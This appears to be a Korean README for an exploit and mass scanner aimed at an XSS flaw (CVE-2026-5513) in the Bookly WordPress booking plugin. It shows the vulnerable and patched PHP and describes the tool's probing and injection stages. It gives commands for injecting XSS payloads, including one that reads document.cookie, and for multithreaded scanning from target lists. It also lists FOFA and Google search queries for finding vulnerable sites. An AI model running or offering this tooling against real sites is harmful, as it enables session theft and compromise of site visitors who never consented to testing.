공격자 → 악성 쿠키 설정 (bookly-customer-full-name=<script>...</script>)
         → Bookly 예약 양식이 있는 페이지 방문
         → 플러그인이 쿠키를 읽고 이스케이프 없이 렌더링
         → XSS 페이로드가 피해자의 브라우저 컨텍스트에서 실행

// 취약 — Bookly ≤ 27.2
$full_name = $_COOKIE['bookly-customer-full-name'];  // 검증 없음
echo '<input type="text" value="' . $full_name . '" />';  // 이스케이프 없음

// 패치됨 — Bookly 27.3+
$full_name = sanitize_text_field($_COOKIE['bookly-customer-full-name']);
echo '<input type="text" value="' . esc_attr($full_name) . '" />';

 ✓ 자동 IP/도메인 프로빙 (HTTP/HTTPS, 일반 포트, 리디렉션 탐지)
 ✓ WordPress 및 Bookly 플러그인 탐지 및 버전 확인
 ✓ 쿠키 설정 탐지 (BooklyL10n JS 분석 + canary 반사)
 ✓ 다중 컨텍스트 XSS 테스트 (HTML, JavaScript, 속성 주입)
 ✓ 페이로드 주입 및 반사 확인
 ✓ 단일 대상 또는 파일에서 대량 스캔
 ✓ 멀티스레드 스캐닝 (최대 20개 스레드)
 ✓ 프록시 지원 (Burp 등)
 ✓ 취약한 결과 자동 저장
 ✓ 대화형 메뉴 + CLI 모드

pip install requests colorama

# 단일 대상 확인
python CVE-2026-5513.py -u https://target.com -v

# 단일 IP 확인 (자동 포트 프로빙 + 리디렉션)
python CVE-2026-5513.py -u 167.99.0.203 -v

# 확인 + XSS 페이로드 주입
python CVE-2026-5513.py -u https://target.com --inject -v

# 사용자 정의 XSS 페이로드
python CVE-2026-5513.py -u https://target.com --inject --payload "<svg onload=alert(document.cookie)>"

# 파일에서 대량 스캔
python CVE-2026-5513.py -l targets.txt -t 20 -o vuln.txt

# Burp 프록시 사용
python CVE-2026-5513.py -u https://target.com -v --proxy http://127.0.0.1:8080

python CVE-2026-5513.py

https://example.com
http://example.com
example.com
192.168.1.100
192.168.1.100:8080

STEP 0 → 대상 프로빙 (IP/도메인 → 기본 URL 확인, 리디렉션 탐지)
STEP 1 → Bookly 플러그인 탐지 (readme.txt, 플러그인 디렉터리, 에셋, 버전 확인)
STEP 2 → 쿠키 설정 확인 (BooklyL10n JS 분석 + canary 반사 테스트)
STEP 3 → XSS 반사 테스트 (HTML 컨텍스트, JS 컨텍스트, 속성 컨텍스트)
STEP 4 → 페이로드 주입 (--inject 모드인 경우 반사 확인)

# FOFA
body="bookly-responsive-appointment-booking-tool"
body="bookly-customer-full-name"
body="bookly-form-group" && body="wp-content/plugins/bookly"

# Google
inurl:"/wp-content/plugins/bookly-responsive-appointment-booking-tool/readme.txt"
intitle:"Book Appointment" inurl:"booking" intext:"bookly"